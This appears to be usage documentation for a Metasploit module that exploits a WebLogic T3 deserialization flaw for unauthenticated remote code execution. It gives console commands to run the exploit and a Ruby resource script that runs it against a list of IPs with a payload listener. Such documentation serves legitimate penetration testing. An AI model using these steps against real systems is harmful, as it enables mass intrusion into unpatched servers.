An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a serialized object (weblogic.corba.utils.MarshalledObject) to the interface to execute code on vulnerable hosts.

Module Ranking and Traits

Module Ranking:

• manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage

Using weblogic_deserialize_marshalledobject against a single host

Normally, you can use exploit/multi/misc/weblogic_deserialize_marshalledobject this way:

msf > use exploit/multi/misc/weblogic_deserialize_marshalledobject
msf exploit(weblogic_deserialize_marshalledobject) > show targets
    ... a list of targets ...
msf exploit(weblogic_deserialize_marshalledobject) > set TARGET target-id
msf exploit(weblogic_deserialize_marshalledobject) > show options
    ... show and set options ...
msf exploit(weblogic_deserialize_marshalledobject) > exploit

Using weblogic_deserialize_marshalledobject against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your weblogic_deserialize_marshalledobject will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/misc/weblogic_deserialize_marshalledobject")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
